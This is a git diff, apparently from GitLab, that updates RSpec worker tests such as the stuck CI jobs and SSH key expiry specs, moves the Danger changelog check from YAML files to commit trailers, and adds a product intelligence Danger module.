index b8c7f2bebe7..2461b30a2ed 100644
--- a/spec/workers/propagate_integration_worker_spec.rb
+++ b/spec/workers/propagate_integration_worker_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe PropagateIntegrationWorker do
describe '#perform' do
let(:integration) do
- PushoverService.create!(
+ Integrations::Pushover.create!(
template: true,
active: true,
device: 'MyDevice',
@@ -21,11 +21,5 @@ RSpec.describe PropagateIntegrationWorker do
subject.perform(integration.id)
end
-
- it 'ignores overwrite parameter from previous version' do
- expect(Admin::PropagateIntegrationService).to receive(:propagate).with(integration)
-
- subject.perform(integration.id, true)
- end
end
end
diff --git a/spec/workers/propagate_service_template_worker_spec.rb b/spec/workers/propagate_service_template_worker_spec.rb
index 793f0b9b08c..b692ce3d72b 100644
--- a/spec/workers/propagate_service_template_worker_spec.rb
+++ b/spec/workers/propagate_service_template_worker_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe PropagateServiceTemplateWorker do
describe '#perform' do
it 'calls the propagate service with the template' do
- template = PushoverService.create!(
+ template = Integrations::Pushover.create!(
template: true,
active: true,
properties: {
diff --git a/spec/workers/prune_web_hook_logs_worker_spec.rb b/spec/workers/prune_web_hook_logs_worker_spec.rb
deleted file mode 100644
index 6cd7a54ac7a..00000000000
--- a/spec/workers/prune_web_hook_logs_worker_spec.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe PruneWebHookLogsWorker do
- describe '#perform' do
- before do
- hook = create(:project_hook)
-
- create(:web_hook_log, web_hook: hook, created_at: 5.months.ago)
- create(:web_hook_log, web_hook: hook, created_at: 4.months.ago)
- create(:web_hook_log, web_hook: hook, created_at: 91.days.ago)
- create(:web_hook_log, web_hook: hook, created_at: 89.days.ago)
- create(:web_hook_log, web_hook: hook, created_at: 2.months.ago)
- create(:web_hook_log, web_hook: hook, created_at: 1.month.ago)
- create(:web_hook_log, web_hook: hook, response_status: '404')
- end
-
- it 'removes all web hook logs older than 90 days' do
- described_class.new.perform
-
- expect(WebHookLog.count).to eq(4)
- expect(WebHookLog.last.response_status).to eq('404')
- end
- end
-end
diff --git a/spec/workers/remove_expired_group_links_worker_spec.rb b/spec/workers/remove_expired_group_links_worker_spec.rb
index 91031768632..ff5f7b9db27 100644
--- a/spec/workers/remove_expired_group_links_worker_spec.rb
+++ b/spec/workers/remove_expired_group_links_worker_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe RemoveExpiredGroupLinksWorker do
expect(non_expiring_project_group_link.reload).to be_present
end
- it 'removes project authorization' do
+ it 'removes project authorization', :sidekiq_inline do
user = create(:user)
project = expired_project_group_link.project
diff --git a/spec/workers/remove_unreferenced_lfs_objects_worker_spec.rb b/spec/workers/remove_unreferenced_lfs_objects_worker_spec.rb
index 21b9a7b844b..6007d3b34f8 100644
--- a/spec/workers/remove_unreferenced_lfs_objects_worker_spec.rb
+++ b/spec/workers/remove_unreferenced_lfs_objects_worker_spec.rb
@@ -34,14 +34,14 @@ RSpec.describe RemoveUnreferencedLfsObjectsWorker do
end
it 'removes unreferenced lfs objects' do
- worker.perform
+ expect(worker.perform).to eq(2)
expect(LfsObject.where(id: unreferenced_lfs_object1.id)).to be_empty
expect(LfsObject.where(id: unreferenced_lfs_object2.id)).to be_empty
end
it 'leaves referenced lfs objects' do
- worker.perform
+ expect(worker.perform).to eq(2)
expect(referenced_lfs_object1.reload).to be_present
expect(referenced_lfs_object2.reload).to be_present
@@ -50,10 +50,12 @@ RSpec.describe RemoveUnreferencedLfsObjectsWorker do
it 'removes unreferenced lfs objects after project removal' do
project1.destroy!
- worker.perform
+ expect(worker.perform).to eq(3)
expect(referenced_lfs_object1.reload).to be_present
expect(LfsObject.where(id: referenced_lfs_object2.id)).to be_empty
end
end
+
+ it_behaves_like 'an idempotent worker'
end
diff --git a/spec/workers/snippet_schedule_bulk_repository_shard_moves_worker_spec.rb b/spec/workers/snippet_schedule_bulk_repository_shard_moves_worker_spec.rb
deleted file mode 100644
index a5f1c6b7b3d..00000000000
--- a/spec/workers/snippet_schedule_bulk_repository_shard_moves_worker_spec.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe SnippetScheduleBulkRepositoryShardMovesWorker do
- it_behaves_like 'schedules bulk repository shard moves' do
- let_it_be_with_reload(:container) { create(:snippet, :repository).tap { |snippet| snippet.create_repository } }
-
- let(:move_service_klass) { Snippets::RepositoryStorageMove }
- let(:worker_klass) { Snippets::UpdateRepositoryStorageWorker }
- end
-end
diff --git a/spec/workers/snippet_update_repository_storage_worker_spec.rb b/spec/workers/snippet_update_repository_storage_worker_spec.rb
deleted file mode 100644
index 205cb2e432f..00000000000
--- a/spec/workers/snippet_update_repository_storage_worker_spec.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe SnippetUpdateRepositoryStorageWorker do
- subject { described_class.new }
-
- it_behaves_like 'an update storage move worker' do
- let_it_be_with_refind(:container) { create(:snippet, :repository) }
- let_it_be(:repository_storage_move) { create(:snippet_repository_storage_move) }
-
- let(:service_klass) { Snippets::UpdateRepositoryStorageService }
- let(:repository_storage_move_klass) { Snippets::RepositoryStorageMove }
- end
-end
diff --git a/spec/workers/ssh_keys/expired_notification_worker_spec.rb b/spec/workers/ssh_keys/expired_notification_worker_spec.rb
index 249ee404870..109d24f03ab 100644
--- a/spec/workers/ssh_keys/expired_notification_worker_spec.rb
+++ b/spec/workers/ssh_keys/expired_notification_worker_spec.rb
@@ -15,6 +15,20 @@ RSpec.describe SshKeys::ExpiredNotificationWorker, type: :worker do
describe '#perform' do
let_it_be(:user) { create(:user) }
+ context 'with a large batch' do
+ before do
+ stub_const("SshKeys::ExpiredNotificationWorker::BATCH_SIZE", 5)
+ end
+
+ let_it_be_with_reload(:keys) { create_list(:key, 20, expires_at: 3.days.ago, user: user) }
+
+ it 'updates all keys regardless of batch size' do
+ worker.perform
+
+ expect(keys.pluck(:expiry_notification_delivered_at)).not_to include(nil)
+ end
+ end
+
context 'with expiring key today' do
let_it_be_with_reload(:expired_today) { create(:key, expires_at: Time.current, user: user) }
@@ -35,24 +49,24 @@ RSpec.describe SshKeys::ExpiredNotificationWorker, type: :worker do
perform_multiple(worker: worker)
end
end
+ end
+
+ context 'when key has expired in the past' do
+ let_it_be(:expired_past) { create(:key, expires_at: 1.day.ago, user: user) }
+
+ it 'does update notified column' do
+ expect { worker.perform }.to change { expired_past.reload.expiry_notification_delivered_at }
+ end
- context 'when feature is not enabled' do
+ context 'when key has already been notified of expiration' do
before do
- stub_feature_flags(ssh_key_expiration_email_notification: false)
+ expired_past.update!(expiry_notification_delivered_at: 1.day.ago)
end
it 'does not update notified column' do
- expect { worker.perform }.not_to change { expired_today.reload.expiry_notification_delivered_at }
+ expect { worker.perform }.not_to change { expired_past.reload.expiry_notification_delivered_at }
end
end
end
-
- context 'when key has expired in the past' do
- let_it_be(:expired_past) { create(:key, expires_at: 1.day.ago, user: user) }
-
- it 'does not update notified column' do
- expect { worker.perform }.not_to change { expired_past.reload.expiry_notification_delivered_at }
- end
- end
end
end
diff --git a/spec/workers/ssh_keys/expiring_soon_notification_worker_spec.rb b/spec/workers/ssh_keys/expiring_soon_notification_worker_spec.rb
index f9276c86cdf..0a1d4a14ad0 100644
--- a/spec/workers/ssh_keys/expiring_soon_notification_worker_spec.rb
+++ b/spec/workers/ssh_keys/expiring_soon_notification_worker_spec.rb
@@ -35,16 +35,6 @@ RSpec.describe SshKeys::ExpiringSoonNotificationWorker, type: :worker do
perform_multiple(worker: worker)
end
end
-
- context 'when feature is not enabled' do
- before do
- stub_feature_flags(ssh_key_expiration_email_notification: false)
- end
-
- it 'does not update notified column' do
- expect { worker.perform }.not_to change { expiring_soon.reload.before_expiry_notification_delivered_at }
- end
- end
end
context 'when key has expired in the past' do
diff --git a/spec/workers/stuck_ci_jobs_worker_spec.rb b/spec/workers/stuck_ci_jobs_worker_spec.rb
index 24d3b6fadf5..84b2d87494e 100644
--- a/spec/workers/stuck_ci_jobs_worker_spec.rb
+++ b/spec/workers/stuck_ci_jobs_worker_spec.rb
@@ -9,12 +9,17 @@ RSpec.describe StuckCiJobsWorker do
let!(:job) { create :ci_build, runner: runner }
let(:worker_lease_key) { StuckCiJobsWorker::EXCLUSIVE_LEASE_KEY }
let(:worker_lease_uuid) { SecureRandom.uuid }
+ let(:created_at) { }
+ let(:updated_at) { }
subject(:worker) { described_class.new }
before do
stub_exclusive_lease(worker_lease_key, worker_lease_uuid)
- job.update!(status: status, updated_at: updated_at)
+ job_attributes = { status: status }
+ job_attributes[:created_at] = created_at if created_at
+ job_attributes[:updated_at] = updated_at if updated_at
+ job.update!(job_attributes)
end
shared_examples 'job is dropped' do
@@ -63,22 +68,70 @@ RSpec.describe StuckCiJobsWorker do
allow_any_instance_of(Ci::Build).to receive(:stuck?).and_return(false)
end
- context 'when job was not updated for more than 1 day ago' do
- let(:updated_at) { 2.days.ago }
+ context 'when job was updated_at more than 1 day ago' do
+ let(:updated_at) { 1.5.days.ago }
- it_behaves_like 'job is dropped'
+ context 'when created_at is the same as updated_at' do
+ let(:created_at) { 1.5.days.ago }
+
+ it_behaves_like 'job is dropped'
+ end
+
+ context 'when created_at is before updated_at' do
+ let(:created_at) { 3.days.ago }
+
+ it_behaves_like 'job is dropped'
+ end
+
+ context 'when created_at is outside lookback window' do
+ let(:created_at) { described_class::BUILD_LOOKBACK - 1.day }
+
+ it_behaves_like 'job is unchanged'
+ end
end
- context 'when job was updated in less than 1 day ago' do
+ context 'when job was updated less than 1 day ago' do
let(:updated_at) { 6.hours.ago }
- it_behaves_like 'job is unchanged'
+ context 'when created_at is the same as updated_at' do
+ let(:created_at) { 1.5.days.ago }
+
+ it_behaves_like 'job is unchanged'
+ end
+
+ context 'when created_at is before updated_at' do
+ let(:created_at) { 3.days.ago }
+
+ it_behaves_like 'job is unchanged'
+ end
+
+ context 'when created_at is outside lookback window' do
+ let(:created_at) { described_class::BUILD_LOOKBACK - 1.day }
+
+ it_behaves_like 'job is unchanged'
+ end
end
- context 'when job was not updated for more than 1 hour ago' do
+ context 'when job was updated more than 1 hour ago' do
let(:updated_at) { 2.hours.ago }
- it_behaves_like 'job is unchanged'
+ context 'when created_at is the same as updated_at' do
+ let(:created_at) { 2.hours.ago }
+
+ it_behaves_like 'job is unchanged'
+ end
+
+ context 'when created_at is before updated_at' do
+ let(:created_at) { 3.days.ago }
+
+ it_behaves_like 'job is unchanged'
+ end
+
+ context 'when created_at is outside lookback window' do
+ let(:created_at) { described_class::BUILD_LOOKBACK - 1.day }
+
+ it_behaves_like 'job is unchanged'
+ end
end
end
@@ -87,17 +140,48 @@ RSpec.describe StuckCiJobsWorker do
allow_any_instance_of(Ci::Build).to receive(:stuck?).and_return(true)
end
- context 'when job was not updated for more than 1 hour ago' do
- let(:updated_at) { 2.hours.ago }
+ context 'when job was updated_at more than 1 hour ago' do
+ let(:updated_at) { 1.5.hours.ago }
+
+ context 'when created_at is the same as updated_at' do
+ let(:created_at) { 1.5.hours.ago }
+
+ it_behaves_like 'job is dropped'
+ end
+
+ context 'when created_at is before updated_at' do
+ let(:created_at) { 3.days.ago }
- it_behaves_like 'job is dropped'
+ it_behaves_like 'job is dropped'
+ end
+
+ context 'when created_at is outside lookback window' do
+ let(:created_at) { described_class::BUILD_LOOKBACK - 1.day }
+
+ it_behaves_like 'job is unchanged'
+ end
end
- context 'when job was updated in less than 1
- hour ago' do
+ context 'when job was updated in less than 1 hour ago' do
let(:updated_at) { 30.minutes.ago }
- it_behaves_like 'job is unchanged'
+ context 'when created_at is the same as updated_at' do
+ let(:created_at) { 30.minutes.ago }
+
+ it_behaves_like 'job is unchanged'
+ end
+
+ context 'when created_at is before updated_at' do
+ let(:created_at) { 2.days.ago }
+
+ it_behaves_like 'job is unchanged'
+ end
+
+ context 'when created_at is outside lookback window' do
+ let(:created_at) { described_class::BUILD_LOOKBACK - 1.day }
+
+ it_behaves_like 'job is unchanged'
+ end
end
end
end
@@ -105,7 +189,7 @@ RSpec.describe StuckCiJobsWorker do
context 'when job is running' do
let(:status) { 'running' }
- context 'when job was not updated for more than 1 hour ago' do
+ context 'when job was updated_at more than an hour ago' do
let(:updated_at) { 2.hours.ago }
it_behaves_like 'job is dropped'
@@ -123,7 +207,23 @@ RSpec.describe StuckCiJobsWorker do
let(:status) { status }
let(:updated_at) { 2.days.ago }
- it_behaves_like 'job is unchanged'
+ context 'when created_at is the same as updated_at' do
+ let(:created_at) { 2.days.ago }
+
+ it_behaves_like 'job is unchanged'
+ end
+
+ context 'when created_at is before updated_at' do
+ let(:created_at) { 3.days.ago }
+
+ it_behaves_like 'job is unchanged'
+ end
+
+ context 'when created_at is outside lookback window' do
+ let(:created_at) { described_class::BUILD_LOOKBACK - 1.day }
+
+ it_behaves_like 'job is unchanged'
+ end
end
end
diff --git a/spec/workers/users/update_open_issue_count_worker_spec.rb b/spec/workers/users/update_open_issue_count_worker_spec.rb
deleted file mode 100644
index 700055980d8..00000000000
--- a/spec/workers/users/update_open_issue_count_worker_spec.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Users::UpdateOpenIssueCountWorker do
- let_it_be(:first_user) { create(:user) }
- let_it_be(:second_user) { create(:user) }
-
- describe '#perform' do
- let(:target_user_ids) { [first_user.id, second_user.id] }
-
- subject { described_class.new.perform(target_user_ids) }
-
- context 'when arguments are missing' do
- context 'when target_user_ids are missing' do
- context 'when nil' do
- let(:target_user_ids) { nil }
-
- it 'raises an error' do
- expect { subject }.to raise_error(ArgumentError, /No target user ID provided/)
- end
- end
-
- context 'when empty array' do
- let(:target_user_ids) { [] }
-
- it 'raises an error' do
- expect { subject }.to raise_error(ArgumentError, /No target user ID provided/)
- end
- end
-
- context 'when not an ID' do
- let(:target_user_ids) { "nonsense" }
-
- it 'raises an error' do
- expect { subject }.to raise_error(ArgumentError, /No valid target user ID provided/)
- end
- end
- end
- end
-
- context 'when successful' do
- let(:job_args) { [target_user_ids] }
- let(:fake_service1) { double }
- let(:fake_service2) { double }
-
- it 'calls the user update service' do
- expect(Users::UpdateAssignedOpenIssueCountService).to receive(:new).with(target_user: first_user).and_return(fake_service1)
- expect(Users::UpdateAssignedOpenIssueCountService).to receive(:new).with(target_user: second_user).and_return(fake_service2)
- expect(fake_service1).to receive(:execute)
- expect(fake_service2).to receive(:execute)
-
- subject
- end
-
- it_behaves_like 'an idempotent worker' do
- it 'recalculates' do
- subject
-
- expect(first_user.assigned_open_issues_count).to eq(0)
- end
- end
- end
- end
-end
diff --git a/spec/workers/web_hook_worker_spec.rb b/spec/workers/web_hook_worker_spec.rb
index becc7461f2a..548cf4c717a 100644
--- a/spec/workers/web_hook_worker_spec.rb
+++ b/spec/workers/web_hook_worker_spec.rb
@@ -10,9 +10,14 @@ RSpec.describe WebHookWorker do
describe '#perform' do
it 'delegates to WebHookService' do
- expect_next(WebHookService, project_hook, data.with_indifferent_access, hook_name).to receive(:execute)
+ expect_next(WebHookService, project_hook, data.with_indifferent_access, hook_name, anything).to receive(:execute)
subject.perform(project_hook.id, data, hook_name)
end
+
+ it_behaves_like 'worker with data consistency',
+ described_class,
+ feature_flag: :load_balancing_for_web_hook_worker,
+ data_consistency: :delayed
end
end
diff --git a/tooling/danger/changelog.rb b/tooling/danger/changelog.rb
index e11799b268d..c053d366199 100644
--- a/tooling/danger/changelog.rb
+++ b/tooling/danger/changelog.rb
@@ -13,66 +13,31 @@ module Tooling
'meta'
].freeze
NO_CHANGELOG_CATEGORIES = %i[docs none].freeze
- CHANGELOG_TRAILER_REGEX = /^Changelog:\s*(?<category>.+)$/.freeze
- CREATE_CHANGELOG_COMMAND = 'bin/changelog -m %<mr_iid>s "%<mr_title>s"'
- CREATE_EE_CHANGELOG_COMMAND = 'bin/changelog --ee -m %<mr_iid>s "%<mr_title>s"'
+ CHANGELOG_TRAILER_REGEX = /^(?<name>Changelog):\s*(?<category>.+)$/i.freeze
+ CHANGELOG_EE_TRAILER_REGEX = /^EE: true$/.freeze
CHANGELOG_MODIFIED_URL_TEXT = "**CHANGELOG.md was edited.** Please remove the additions and follow the [changelog guidelines](https://docs.gitlab.com/ee/development/changelog.html).\n\n"
CHANGELOG_MISSING_URL_TEXT = "**[CHANGELOG missing](https://docs.gitlab.com/ee/development/changelog.html)**:\n\n"
OPTIONAL_CHANGELOG_MESSAGE = {
local: "If this merge request [doesn't need a CHANGELOG entry](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry), feel free to ignore this message.",
ci: <<~MSG
- If you want to create a changelog entry for GitLab FOSS, run the following:
+ If you want to create a changelog entry for GitLab FOSS, add the `Changelog` trailer to the commit message you want to add to the changelog.
- #{CREATE_CHANGELOG_COMMAND}
-
- If you want to create a changelog entry for GitLab EE, run the following instead:
-
- #{CREATE_EE_CHANGELOG_COMMAND}
+ If you want to create a changelog entry for GitLab EE, also [add the `EE: true` trailer](https://docs.gitlab.com/ee/development/changelog.html#gitlab-enterprise-changes) to your commit message.
If this merge request [doesn't need a CHANGELOG entry](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry), feel free to ignore this message.
MSG
}.freeze
- CHANGELOG_NEW_WORKFLOW_MESSAGE = <<~MSG
- We are in the process of rolling out a new workflow for adding changelog entries. This new workflow uses Git commit subjects and Git trailers to generate changelogs. This new approach will soon replace the current YAML based approach.
-
- To ease the transition process, we recommend you start using both the old and new approach in parallel. This is not required at this time, but will make it easier to transition to the new approach in the future. To do so, pick the commit that should go in the changelog and add a `Changelog` trailer to it. For example:
-
- ```
- This is my commit's subject line
-
- This is the optional commit body.
-
- Changelog: added
- ```
-
- The value of the `Changelog` trailer should be one of the following: added, fixed, changed, deprecated, removed, security, performance, other.
-
- For more information, take a look at the following resources:
-
- - `https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/1564`
- - https://docs.gitlab.com/ee/api/repositories.html#generate-changelog-data
-
- If you'd like to see the new approach in action, take a look at the commits in [the Omnibus repository](https://gitlab.com/gitlab-org/omnibus-gitlab/-/commits/master).
- MSG
SEE_DOC = "See the [changelog documentation](https://docs.gitlab.com/ee/development/changelog.html)."
- SUGGEST_MR_COMMENT = <<~SUGGEST_COMMENT
- ```suggestion
- merge_request: %<mr_iid>s
- ```
-
- #{SEE_DOC}
- SUGGEST_COMMENT
REQUIRED_CHANGELOG_REASONS = {
+ db_changes: 'introduces a database migration',
feature_flag_removed: 'removes a feature flag'
}.freeze
REQUIRED_CHANGELOG_MESSAGE = {
local: "This merge request requires a changelog entry because it [%<reason>s](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry).",
ci: <<~MSG
- To create a changelog entry, run the following:
-
- #{CREATE_CHANGELOG_COMMAND}
+ To create a changelog entry, add the `Changelog` trailer to one of your Git commit messages.
This merge request requires a changelog entry because it [%<reason>s](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry).
MSG
@@ -131,7 +96,6 @@ module Tooling
end
if present?
- add_danger_messages(check_changelog_yaml)
add_danger_messages(check_changelog_path)
elsif required?
required_texts.each { |_, text| fail(text) } # rubocop:disable Lint/UnreachableLoop
@@ -139,23 +103,7 @@ module Tooling
message optional_text
end
- return unless helper.ci?
-
- if required? || optional?
- checked = 0
-
- git.commits.each do |commit|
- check_result = check_changelog_trailer(commit)
- next if check_result.nil?
-
- checked += 1
- add_danger_messages(check_result)
- end
-
- if checked == 0
- message CHANGELOG_NEW_WORKFLOW_MESSAGE
- end
- end
+ check_changelog_commit_categories
end
# rubocop:enable Style/SignalException
@@ -168,70 +116,42 @@ module Tooling
end
# rubocop:enable Style/SignalException
+ def check_changelog_commit_categories
+ changelog_commits.each do |commit|
+ add_danger_messages(check_changelog_trailer(commit))
+ end
+ end
+
def check_changelog_trailer(commit)
trailer = commit.message.match(CHANGELOG_TRAILER_REGEX)
-
- return if trailer.nil? || trailer[:category].nil?
-
+ name = trailer[:name]
category = trailer[:category]
+ unless name == 'Changelog'
+ return ChangelogCheckResult.error("The changelog trailer for commit #{commit.sha} must be `Changelog` (starting with a capital C), not `#{name}`")
+ end
+
return ChangelogCheckResult.empty if CATEGORIES.include?(category)
ChangelogCheckResult.error("Commit #{commit.sha} uses an invalid changelog category: #{category}")
end
- def check_changelog_yaml
- check_result = ChangelogCheckResult.empty
- return check_result unless present?
-
- raw_file = read_file(changelog_path)
- yaml = YAML.safe_load(raw_file)
- yaml_merge_request = yaml["merge_request"].to_s
-
- check_result.error("`title` should be set, in #{helper.html_link(changelog_path)}! #{SEE_DOC}") if yaml["title"].nil?
- check_result.error("`type` should be set, in #{helper.html_link(changelog_path)}! #{SEE_DOC}") if yaml["type"].nil?
-
- return check_result if helper.security_mr? || helper.mr_iid.empty?
-
- check_changelog_yaml_merge_request(raw_file: raw_file, yaml_merge_request: yaml_merge_request, check_result: check_result)
- rescue Psych::Exception
- # YAML could not be parsed, fail the build.
- ChangelogCheckResult.error("#{helper.html_link(changelog_path)} isn't valid YAML! #{SEE_DOC}")
- rescue StandardError => e
- ChangelogCheckResult.warning("There was a problem trying to check the Changelog. Exception: #{e.class.name} - #{e.message}")
- end
-
- def check_changelog_yaml_merge_request(raw_file:, yaml_merge_request:, check_result:)
- cherry_pick_against_stable_branch = helper.cherry_pick_mr? && helper.stable_branch?
-
- if yaml_merge_request.empty?
- mr_line = raw_file.lines.find_index { |line| line =~ /merge_request:\s*\n/ }
-
- if mr_line
- check_result.markdown(msg: format(SUGGEST_MR_COMMENT, mr_iid: helper.mr_iid), file: changelog_path, line: mr_line.succ)
- else
- check_result.message("Consider setting `merge_request` to #{helper.mr_iid} in #{helper.html_link(changelog_path)}. #{SEE_DOC}")
- end
- elsif yaml_merge_request != helper.mr_iid && !cherry_pick_against_stable_branch
- check_result.error("Merge request ID was not set to #{helper.mr_iid}! #{SEE_DOC}")
- end
-
- check_result
- end
-
def check_changelog_path
check_result = ChangelogCheckResult.empty
return check_result unless present?
ee_changes = project_helper.all_ee_changes.dup
- ee_changes.delete(changelog_path)
if ee_changes.any? && !ee_changelog? && !required?
- check_result.warning("This MR has a Changelog file outside `ee/`, but code changes in `ee/`. Consider moving the Changelog file into `ee/`.")
+ check_result.warning("This MR changes code in `ee/`, but its Changelog commit is missing the [`EE: true` trailer](https://docs.gitlab.com/ee/development/changelog.html#gitlab-enterprise-changes). Consider adding it to your Changelog commits.")
end
if ee_changes.empty? && ee_changelog?
- check_result.warning("This MR has a Changelog file in `ee/`, but no code changes in `ee/`. Consider moving the Changelog file outside `ee/`.")
+ check_result.warning("This MR has a Changelog commit for EE, but no code changes in `ee/`. Consider removing the `EE: true` trailer from your commits.")
+ end
+
+ if ee_changes.any? && ee_changelog? && required_reasons.include?(:db_changes)
+ check_result.warning("This MR has a Changelog commit with the `EE: true` trailer, but there are database changes which [requires](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry) the Changelog commit to not have the `EE: true` trailer. Consider removing the `EE: true` trailer from your commits.")
end
check_result
@@ -239,6 +159,7 @@ module Tooling
def required_reasons
[].tap do |reasons|
+ reasons << :db_changes if project_helper.changes.added.has_category?(:migration)
reasons << :feature_flag_removed if project_helper.changes.deleted.has_category?(:feature_flag)
end
end
@@ -252,33 +173,45 @@ module Tooling
end
def present?
- !!changelog_path
+ valid_changelog_commits.any?
end
- def ee_changelog?
- changelog_path.start_with?('ee/')
+ def changelog_commits
+ git.commits.select do |commit|
+ commit.message.match?(CHANGELOG_TRAILER_REGEX)
+ end
+ end
+
+ def valid_changelog_commits
+ changelog_commits.select do |commit|
+ trailer = commit.message.match(CHANGELOG_TRAILER_REGEX)
+
+ CATEGORIES.include?(trailer[:category])
+ end
end
- def changelog_path
- @changelog_path ||= project_helper.changes.added.by_category(:changelog).files.first
+ def ee_changelog?
+ changelog_commits.any? do |commit|
+ commit.message.match?(CHANGELOG_EE_TRAILER_REGEX)
+ end
end
def modified_text
CHANGELOG_MODIFIED_URL_TEXT +
- (helper.ci? ? format(OPTIONAL_CHANGELOG_MESSAGE[:ci], mr_iid: helper.mr_iid, mr_title: sanitized_mr_title) : OPTIONAL_CHANGELOG_MESSAGE[:local])
+ (helper.ci? ? format(OPTIONAL_CHANGELOG_MESSAGE[:ci]) : OPTIONAL_CHANGELOG_MESSAGE[:local])
end
def required_texts
required_reasons.each_with_object({}) do |required_reason, memo|
memo[required_reason] =
CHANGELOG_MISSING_URL_TEXT +
- (helper.ci? ? format(REQUIRED_CHANGELOG_MESSAGE[:ci], reason: REQUIRED_CHANGELOG_REASONS.fetch(required_reason), mr_iid: helper.mr_iid, mr_title: sanitized_mr_title) : REQUIRED_CHANGELOG_MESSAGE[:local])
+ (helper.ci? ? format(REQUIRED_CHANGELOG_MESSAGE[:ci], reason: REQUIRED_CHANGELOG_REASONS.fetch(required_reason)) : REQUIRED_CHANGELOG_MESSAGE[:local])
end
end
def optional_text
CHANGELOG_MISSING_URL_TEXT +
- (helper.ci? ? format(OPTIONAL_CHANGELOG_MESSAGE[:ci], mr_iid: helper.mr_iid, mr_title: sanitized_mr_title) : OPTIONAL_CHANGELOG_MESSAGE[:local])
+ (helper.ci? ? format(OPTIONAL_CHANGELOG_MESSAGE[:ci]) : OPTIONAL_CHANGELOG_MESSAGE[:local])
end
private
@@ -287,10 +220,6 @@ module Tooling
File.read(path)
end
- def sanitized_mr_title
- Gitlab::Dangerfiles::TitleLinting.sanitize_mr_title(helper.mr_title)
- end
-
def categories_need_changelog?
(project_helper.changes.categories - NO_CHANGELOG_CATEGORIES).any?
end
diff --git a/tooling/danger/product_intelligence.rb b/tooling/danger/product_intelligence.rb
new file mode 100644
index 00000000000..0f77f6c6a71
--- /dev/null
+++ b/tooling/danger/product_intelligence.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+# rubocop:disable Style/SignalException
+
+module Tooling
+ module Danger
+ module ProductIntelligence
+ WORKFLOW_LABELS = [
+ 'product intelligence::approved',
+ 'product intelligence::review pending'
+ ].freeze
+
+ TRACKING_FILES = [
+ 'lib/gitlab/tracking.rb',
+ 'spec/lib/gitlab/tracking_spec.rb',
+ 'app/helpers/tracking_helper.rb',
+ 'spec/helpers/tracking_helper_spec.rb',
+ 'app/assets/javascripts/tracking.js',
+ 'spec/frontend/tracking_spec.js',
+ 'generator_templates/usage_metric_definition/metric_definition.yml',
+ 'lib/generators/gitlab/usage_metric/usage_metric_generator.rb',
+ 'lib/generators/gitlab/usage_metric_definition_generator.rb',
+ 'lib/generators/gitlab/usage_metric_definition/redis_hll_generator.rb',
+ 'spec/lib/generators/gitlab/usage_metric_generator_spec.rb',
+ 'spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb',
+ 'spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb',
+ 'config/metrics/schema.json'
+ ].freeze
+
+ def missing_labels
+ return [] unless helper.ci?
+
+ labels = []
+ labels << 'product intelligence' unless helper.mr_has_labels?('product intelligence')
+ labels << 'product intelligence::review pending' unless helper.mr_has_labels?(WORKFLOW_LABELS)
+
+ labels
+ end
+
+ def matching_changed_files
+ tracking_changed_files = all_changed_files & TRACKING_FILES
+ usage_data_changed_files = all_changed_files.grep(%r{(usage_data)})
+
+ usage_data_changed_files + tracking_changed_files + metrics_changed_files + dictionary_changed_file + snowplow_changed_files
+ end
+
+ def need_dictionary_changes?
+ required_dictionary_update_changed_files.any? && dictionary_changed_file.empty?
+ end
+
+ private
+
+ def all_changed_files
+ helper.all_changed_files
+ end
+
+ def dictionary_changed_file
+ all_changed_files.grep(%r{(doc/development/usage_ping/dictionary\.md)})
+ end
+
+ def metrics_changed_files
+ all_changed_files.grep(%r{((ee/)?config/metrics/.*\.yml)})
+ end
+
+ def matching_files?(file, extension:, pattern:)
+ return unless file.end_with?(extension)
+
+ helper.changed_lines(file).grep(pattern).any?
+ end
+
+ def snowplow_changed_files
+ js_patterns = Regexp.union(
+ 'Tracking.event',
+ /\btrack\(/,
+ 'data-track-event',
+ 'data-track-action'
+ )
+ all_changed_files.select do |file|
+ matching_files?(file, extension: '.rb', pattern: %r{Gitlab::Tracking\.(event|enabled\?|snowplow_options)$}) ||
+ matching_files?(file, extension: '.js', pattern: js_patterns) ||
+ matching_files?(file, extension: '.vue', pattern: js_patterns) ||
+ matching_files?(file, extension: '.haml', pattern: %r{data: \{ track})
+ end
+ end
+
+ def required_dictionary_update_changed_files
+ dictionary_pattern = Regexp.union(
+ 'key_path:',
+ 'description:',
+ 'product_section:',
+ 'product_stage:',
+ 'product_group:',
+ 'status:',
+ 'tier:'
+ )
+
+ metrics_changed_files.select do |file|
+ matching_files?(file, extension: '.yml', pattern: dictionary_pattern)
+ end
+ end
+ end
+ end
+end
diff --git a/tooling/danger/project_helper.rb b/tooling/danger/project_helper.rb
index c6aaf82ef35..a29dc5e5bed 100644
--- a/tooling/danger/project_helper.rb
+++ b/tooling/danger/project_helper.rb
@@ -5,7 +5,6 @@ module Tooling
module ProjectHelper
LOCAL_RULES ||= %w[
changelog
- commit_messages
database
datateam
documentation
@@ -38,8 +37,6 @@ module Tooling
%r{\A(ee/)?config/feature_flags/} => :feature_flag,
- %r{\A(ee/)?(changelogs/unreleased)(-ee)?/} => :changelog,
-
%r{\Adoc/development/usage_ping/dictionary\.md\z} => [:docs, :product_intelligence],
%r{\Adoc/.*(\.(md|png|gif|jpg))\z} => :docs,
%r{\A(CONTRIBUTING|LICENSE|MAINTENANCE|PHILOSOPHY|PROCESS|README)(\.md)?\z} => :docs,
